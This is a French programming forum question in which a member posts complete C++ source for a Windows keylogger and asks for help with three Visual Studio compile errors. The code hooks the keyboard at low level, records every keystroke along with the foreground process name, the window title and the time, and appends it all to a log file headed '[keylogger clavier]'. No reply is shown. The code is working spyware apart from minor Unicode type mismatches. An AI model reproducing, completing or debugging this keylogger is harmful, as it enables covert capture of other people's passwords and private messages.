Erreurs lors de l'exécution en c++

Fermé
benmohamedali11 Messages postés 13 Date d'inscription jeudi 13 février 2014 Statut Membre Dernière intervention 23 février 2014 - Modifié par dsy73 le 18/02/2014 à 07:19
Bonjour
J'ai des erreurs lors de l'exécution en c++:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <psapi.h>
#include <time.h>
#define CHEMINDULOG "log.txt"//constante ou est stoquer le chemin du fichier log


// Global instance du hook
HHOOK hKeyHook;
HWND AncienHandle;
FILE *Log;
tm DonneHeure();//recupere l'heure systeme, renvoie une structre de type tm
bool Erreur = false;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
tm Heure;

// Action du clavier et les touches tappées
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{

// conversion du code -> ascii
BYTE KeyState[256];
WORD wBuf;
char Ch;
char NomProcess[1024];
char NomFenetre[1024];

DWORD lpdwProcessId;
HANDLE PID;

// Structure pour récupération des informations
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

/* Traitement récupération dec codes des touches */

// Etat du clavier
GetKeyboardState(KeyState);

// Conversion code > ascii
ToAscii(hooked.vkCode, hooked.scanCode, KeyState, &wBuf, 0);

//on rajoute les touches non traitées par le hook
switch (hooked.vkCode)
{

case 9:
{

fprintf(Log, "<TAB>");


break;
}
case 13:
{

fprintf(Log, "\n");
AncienHandle = 0;
break;
}
case VK_BACK:
{

fprintf(Log, "<DEL>");


break;
}
case VK_DELETE:
{

fprintf(Log, "<Suppr>");

break;
}

/* vous pouvez rajouter vos traitements perso ici ! */

default: // on affiche les touches tappées
{
Ch = ((char)wBuf);
HWND Handle = GetForegroundWindow();//on recupere le handle de la fenetre qui a le focus

if (Handle != AncienHandle)//si le handle est different du dernier alors on a changer de fenetre
{
fclose(Log);//on ferme le log pour que les donnee soient reelement ecrite dedans
Log = fopen(CHEMINDULOG, "a+");//on le réouvre(je sais c'estun peu barbare)
if (Log != NULL)
{
NomProcess[0] = '\n';//on met en premiere caractere un retour chariot pour qu'il y est bien retour a la ligne avaant d'ecrire la nouvelle ligne
NomFenetre[0] = '\0';//pour s'assurer de ne pas ecrire autre chose.
Heure = DonneHeure();//on recup l'heure
fprintf(Log, "\n%d:%d:%d: ", Heure.tm_hour, Heure.tm_min, Heure.tm_sec);//on l'ecrit
GetWindowThreadProcessId(Handle, &lpdwProcessId);//on recupere l'id du thread d'apres son handle
PID = OpenProcess(PROCESS_ALL_ACCESS, false, lpdwProcessId);//on recupere le PID du processus auquel apartient le thread ci-dessus
if (PID != NULL)
{
GetModuleBaseName(PID, NULL, NomProcess, sizeof NomProcess);//on recupere le nom du processus d'apres son PID
}
else
{
strcat(NomProcess, "<Inconnu>");//si cela a echoue on met inconnu
}



NomFenetre[0] = '\0';
GetWindowText(Handle, NomFenetre, sizeof NomFenetre);//ici on recupere le nom de la fenetre
strcat(NomProcess, ">");
strcat(NomProcess, NomFenetre);
strcat(NomProcess, ": ");
fprintf(Log, "%s", NomProcess);//on ecrit le tout

AncienHandle = Handle;//on met a jour le nouveau handle pour le comparer au prochaine
}
else
{
Erreur = true;
return 0;
}

}
fprintf(Log, "%c", Ch);//on ecrit le caractere qui a ete saisie au clavier
break;
}

}


}
// Renvoi des messages au sytème
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}


// Boucle des messages
void MsgLoop()
{
MSG message;
while ((GetMessage(&message, NULL, 0, 0)) && (Erreur != true))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}


DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
// Récuperation de l'instance de notre executable
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;

// on demarre le hook
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, hExe, 0);
tm Heure = DonneHeure();

if (hKeyHook == NULL)
{
fprintf(Log, "\n[le hook clavier a plante a ");
fprintf(Log, "%d:%d:%d]", Heure.tm_hour, Heure.tm_min, Heure.tm_sec);
Erreur = true;
}
else
{
fprintf(Log, "\n[La surveillance a demarre a ");
fprintf(Log, "%d:%d:%d]", Heure.tm_hour, Heure.tm_min, Heure.tm_sec);
}

// Boucle des messages
MsgLoop();

// on desactive le hook
Heure = DonneHeure();
if (UnhookWindowsHookEx(hKeyHook) == 0)
{
fprintf(Log, "\n[desactivation du Hook echoue a ");
fprintf(Log, "%d:%d:%d]", Heure.tm_hour, Heure.tm_min, Heure.tm_sec);
}
else
{
fprintf(Log, "\n[Desactivation du hook a ");
fprintf(Log, "%d:%d:%d]", Heure.tm_hour, Heure.tm_min, Heure.tm_sec);
}

return 0;
}


int main(int argc, char *argv[])
{
// initialisation des options pour la fonction CreateThread
HANDLE hThread;
DWORD dwThread;
Log = fopen(CHEMINDULOG, "r");
if (Log == NULL)
{
Log = fopen(CHEMINDULOG, "a+");
fprintf(Log, "\t\t\t[keylogger clavier]\n");

if (Log == NULL)
{
Erreur = true;
return 1;
}
}



// on crée le thread qui va démarrer le hook
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)NULL, 0, &dwThread);

if (hThread)
{
// Attente à l'infini
return WaitForSingleObject(hThread, INFINITE);
}
else
{
return 0;
}
fclose(Log);

}


tm DonneHeure()
{
time_t Timer;
time(&Timer);
struct tm *Heure;
Heure = localtime(&Timer);
return *Heure;
}

l'erreurs:
-Erro3:
error C2664: 'int GetWindowTextW(HWND,LPWSTR,int)' : cannot convert argument 2 from 'char [1024]' to 'LPWSTR' c:\users\compac\documents\visual studio 2013\projects\pfeprocessus1\pfeprocessus1\pfeprocessus1.cpp 112 1 pfeProcessus1
-Error2:
error C2664: 'DWORD K32GetModuleBaseNameW(HANDLE,HMODULE,LPWSTR,DWORD)' : cannot convert argument 3 from 'char [1024]' to 'LPWSTR' c:\users\compac\documents\visual studio 2013\projects\pfeprocessus1\pfeprocessus1\pfeprocessus1.cpp 102 1 pfeProcessus1
-Error
1:error C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. c:\users\compac\documents\visual studio 2013\projects\pfeprocessus1\pfeprocessus1\pfeprocessus1.cpp 91 1 pfeProcessus1

je ne compris pas ses erreurs,s'il vaut plait aide moi,merci en avance.